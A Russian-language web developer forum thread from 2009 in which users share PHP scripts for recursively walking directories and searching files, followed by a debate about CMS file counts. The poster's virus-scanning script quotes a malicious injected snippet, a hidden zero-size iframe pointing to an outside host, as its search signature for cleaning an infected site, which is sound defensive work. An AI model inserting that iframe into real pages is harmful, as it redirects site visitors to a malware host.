рекурсивное чтение папок
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
рекурсивное чтение папок - 2009-03-11 10:34:39.270000
|
|
|
magistr_bender
Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
|
люди добрые (и злые) подсобите пожалуйста скриптиком для рекурсивного листинга папок… может у кого завалялся.. короче надо склипт который будет шагать по всем папкам на сервере и искать файлы.. если нашол в папке файлы то поочерёдно открывает каждый файл и ищет в нём например ключевую фразу.. и заменяет в случае нахождения на другую… если в папке есть подпапки то выполняет сам себя на каждой подпапке.. тоесть повторяет действие… в принципе мне надо сама шагалка, просто замарачиваться самому лень… но я думаю я не первый, у кого такая задача возникала
|
|
|
RE: рекурсивное чтение папок - 2009-03-11 10:42:39.980000
|
|
|
oRb
Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
|
Пример обхода: <?php
function ListDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
ListDir($item);
else
echo $item."\n";
}
closedir($dh);
}
ListDir(getcwd());
?> Если используется php5, то можно воспользоваться функцией scandir
|
|
|
RE: рекурсивное чтение папок - 2009-03-11 10:47:26.800000
|
|
|
kolPeeX
Сообщений: 1456
Оценки: 0
Присоединился: 2007-01-25 14:57:57.683333
|
Чисто примерный скелетон:
function foo($dir) {
if(is_dir($dir)) {
if ($dh = opendir($dir)) {
while (($file = readdir($dh)) !== false) {
foo($dir.'/'.$file);
}
closedir($dh);
}
} else {
$fp = fopen($dir, 'r');
///ищем, ищем :)
fclose($fp);
}
}
|
|
|
RE: рекурсивное чтение папок - 2009-03-11 11:04:12.896666
|
|
|
azimzaim
Сообщений: 320
Оценки: 0
Присоединился: 2009-01-04 22:14:32.760000
|
Я не понимаю что тут сложного? создаем функцию, которая читает содержимое папки, поочередно открывает все файлы, пишет, в случае если выполняется условие is_dir в этой же функции вызываем её ещё раз. Не буду писать скрипт, так как уже все написано, хочу сказать, что подобный скрипт очень хорошо написан в компоненте Fireboard для Joomla, а именно в инстал файле.
|
|
|
RE: рекурсивное чтение папок - 2009-03-11 15:10:04.680000
|
|
|
magistr_bender
Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
|
начиналось всё так просто… а закончилось вот чем ))))) <?php
class FileCheck {
public $link='';
public $text='';
public $arr=array();
public function FileCheck($param,$file) {
$this->text=$this->FileContent($file);
foreach ($param as $key => $value)
{
$this->mask=$value;
if (!empty($this->text))
{
$arr[$key]=$this->Find();
}
}
$this->result=$arr;
}
public function FileContent($file) {
$lines = file_get_contents($file);
return $lines;
}
public function Find() {
$mask=explode("\r\n",$this->mask);
$res=array();
for($i=0;$i<count($mask);$i++) {
preg_match_all("#{(.+?)}#",$mask[$i],$key);
$mask[$i]=quotemeta($mask[$i]);
$mask[$i]=preg_replace("#{(.+?)}#","(.*?)",$mask[$i]);
foreach($key[1] as $k=>$v){
$k++;
$res[$v]=$this->getoneval($this->text,$mask[$i],$k);
}
}
return $res;
}
public function getoneval($v,$ch,$num) {
if(preg_match_all("#".$ch."#si",$v,$te)) return $te[$num];
return '';
}
}
$sum_str='';
class ListDir {
public $arr=array();
public function ListDir($path) {
global $sum_str;
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
$this->ListDir($item);
else
if ($sum_str!=='') $sum_str.='&'.$item; else $sum_str.=$item;
// echo $item."<br>";
}
closedir($dh);
$arr=explode('&', $sum_str);
$this->list=$arr;
}
}
//if (!isset($_POST['vir']))
$search_text = array(
'0' => '<!-- Rambler.Ru --><sсriрt language=javasсriрt>status=location;document.write(\'<ifrаmе src="http://xanjan.cn/in.cgi?mytraf" width=0 height=0 frameborder=0 display:none оnlоаd="status=defaultStatus;"></ifrаmе>\');{virus}<!-- Rambler.Ru -->',
);
$list = new ListDir(getcwd());
foreach($list->list as $key => $value)
{
$f = new FileCheck($search_text, $value);
$f->result['n']=$value;
if ($value!==$_SERVER['DOCUMENT_ROOT'].'/check.php')
if ($f->result[0]['virus'][0]!=='') echo 'Вирус обнаружен в файле '.$value.'<br>';
}
?> немогу только понять, почему в файлах с нулевой длинной он тоже находит искомый текст… хотя это не критично в принципе.. и продолжение вопроса… а как мне в файле удалить определённую фразу, ну ранее найденную моим скриптом? или может следует сделать так: сначала открываем файл с фразой для чтения и записи… потом считываем из него весь текст.. потом делаем рэплэйс нашей фразы потом записываем полученный текст назад в файл… или есть метод проще?
|
|
|
RE: рекурсивное чтение папок - 2009-03-12 04:18:13.413333
|
|
|
Панда
Сообщений: 232
Оценки: 0
Присоединился: 2008-03-05 07:38:35.890000
|
<?php
function do_smth($file) {
echo "$file.<br>";
}
function rdir($path) {
$path = rtrim($path,'\\/*').'/*';
foreach (glob($path) as $item) {
if (is_dir($item)) {
rdir($item);
}
elseif (is_file($item)) {
do_smth($item);
}
}
}
rdir('/tmp');
|
|
|
RE: рекурсивное чтение папок - 2009-03-12 12:17:36.710000
|
|
|
azimzaim
Сообщений: 320
Оценки: 0
Присоединился: 2009-01-04 22:14:32.760000
|
седня создал такой скрипт потому, что нада было. Выдает имена файлов в которых найдены совпадения с ключевым словом: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<head>
<title>Kostenlos Anmelden und Mitglied werden</title>
<base href="http://love/" />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body>
<?
$n=0;
if (isset($_POST['Name']))
{$rail=$_POST['rail'];
echo scaner(".",$_POST['Name']);
}
function scaner ($where, $word)
{ global $n, $rail;
$lowlife=scandir($where);
foreach($lowlife as $key=>$value)
{if ($value!="." and $value!="..")
{if (is_dir($where."/".$value))
{scaner ($where."/".$value, $word);}
elseif(is_file($where."/".$value))
{$size=filesize($where."/".$value);
if ($size>0)
{$handle = fopen($where."/".$value, "r");
$contents = fread($handle, $size);
fclose($handle);
$n++;
$exp=explode(".",$value);
switch ($rail)
{ case "1":
if ((stristr($contents,$word) or eregi($word,$contents)))
{Echo "Просканировано ".$n." - ".$where."/".$value."<br>";} break;
case "2":
if ((stristr($contents,$word) or eregi($word,$contents)) and $exp[1]=="php")
{Echo "Просканировано ".$n." - ".$where."/".$value."<br>";} break;
case "3":
if ((stristr($contents,$word) or eregi($word,$contents)) and $exp[1]=="css")
{Echo "Просканировано ".$n." - ".$where."/".$value."<br>";} break;
case "4":
if ((stristr($contents,$word) or eregi($word,$contents)) and ($exp[1]=="htm" or $exp[1]=="html"))
{Echo "Просканировано ".$n." - ".$where."/".$value."<br>";} break;
case "5":
if ((stristr($contents,$word) or eregi($word,$contents)) and ($exp[1]=="php" or $exp[1]=="css" or $exp[1]=="htm" or $exp[1]=="html"))
{Echo "Просканировано ".$n." - ".$where."/".$value."<br>";} break;
}
}
}
}
}
return "всего просканировано:".$n;
}
?>
<form action="trunker.php?act=2" method="post">
<input name="Name" type="text" value="">
<select size="1" name="rail">
<option value="1">All</option>
<option value="2">php</option>
<option value="3">css</option>
<option value="4">html, htm</option>
<option value="5">php, css, html, htm</option>
</select>
<input type="submit" value="Send">
</form>
</body>
</html>
|
|
|
RE: рекурсивное чтение папок - 2009-03-12 17:59:44.633333
|
|
|
magistr_bender
Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
|
мне надо было перелопатить 14000 файлов.. на всйте вирус завёлся) вот и писал)
|
|
|
RE: рекурсивное чтение папок - 2009-03-12 18:46:10.050000
|
|
|
azimzaim
Сообщений: 320
Оценки: 0
Присоединился: 2009-01-04 22:14:32.760000
|
quote:
ORIGINAL: magistr_bender мне надо было перелопатить 14000 файлов.. на всйте вирус завёлся) вот и писал) кто ж так пишет? Если на сайте более 3000 скриптов, то считай, что его структура не рациональна.
|
|
|
RE: рекурсивное чтение папок - 2009-03-12 18:48:06.013333
|
|
|
magistr_bender
Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
|
это цмска… там для каждого компонента свой шаблон.. тем более цмска очень мощьная… 1c-bitrix
|
|
|
RE: рекурсивное чтение папок - 2009-03-13 15:38:28.443333
|
|
|
kristalsummers
Сообщений: 63
Оценки: 0
Присоединился: 2008-11-28 19:38:12.070000
|
Если на сайте более 3000 скриптов Да ну) Видимо ты никогда не видел очень крупные движки например на Java. Все можно конечно ужать но зачем оно нужно? Если многоуровневая конфигурация на уровне общем, приложений модулей, это во первых удобно, во вторых нет такого мусора, все ясно где лежит. Та даже у Joomla около 4500, а в ней ничего особого нет только MVC, если бы она еще позаимствовала идея к примеру RAD фреймворков Django RoR Symfony ее количество файлов умножилось бы на 2 минимум, или пришлось бы переписывать.
|
|
|
RE: рекурсивное чтение папок - 2009-03-13 16:55:56.566666
|
|
|
azimzaim
Сообщений: 320
Оценки: 0
Присоединился: 2009-01-04 22:14:32.760000
|
Дорогие друзья, CMS, которая состоит из большого количества скриптов - это хлам. И я хочу подчеркнуть слово скрипт, а не рисунок или щаблон (хотя и они отыгрывают определенную роль). Большое количество скриптов а) очень сильно давит на сервер б) замедляет работу сайта в) мешает эффективно работать над созданием новых компонентов. г) требует постоянного обслуживая большого количества персонала.
|
|
|
RE: рекурсивное чтение папок - 2009-03-13 18:57:24.746666
|
|
|
magistr_bender
Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
|
в) мешает эффективно работать над созданием новых компонентов. смешно))) понимаеш, цмска, в которой более 600 компонентов в максимальной сборке неможет иметь менее 8000 файлов… по той причине, что у каждого компонента минимум 1 стандартный шаблон, 1 кастомизированый, 7 языковых файлов(на каждый язык по файлу), 1 цсс файл, и минимум 3 картинки… и того выходит минимум 14 файлов на компонент… а это минимум.. а их там может быть гораздо больше а за двигло и админксую часть для каждого компонента я вообще молчу… 600*14=8400 файлов и это только компоненты.. кстати битрикс это очень серьёзная цмска.. в ней есть решения для любого сайта.. форум, блог, соц сеть… да что угодно.. хоть файлообменник или рассылка смс уведоблений… есть всё.. + разрабатывать файл можно в визуальном редакторе прям в браузере… пишеш код и тебе сразу отображается результат.. типо превьюшка.. как наппример в WeBuilder'е
|
|
|
|
|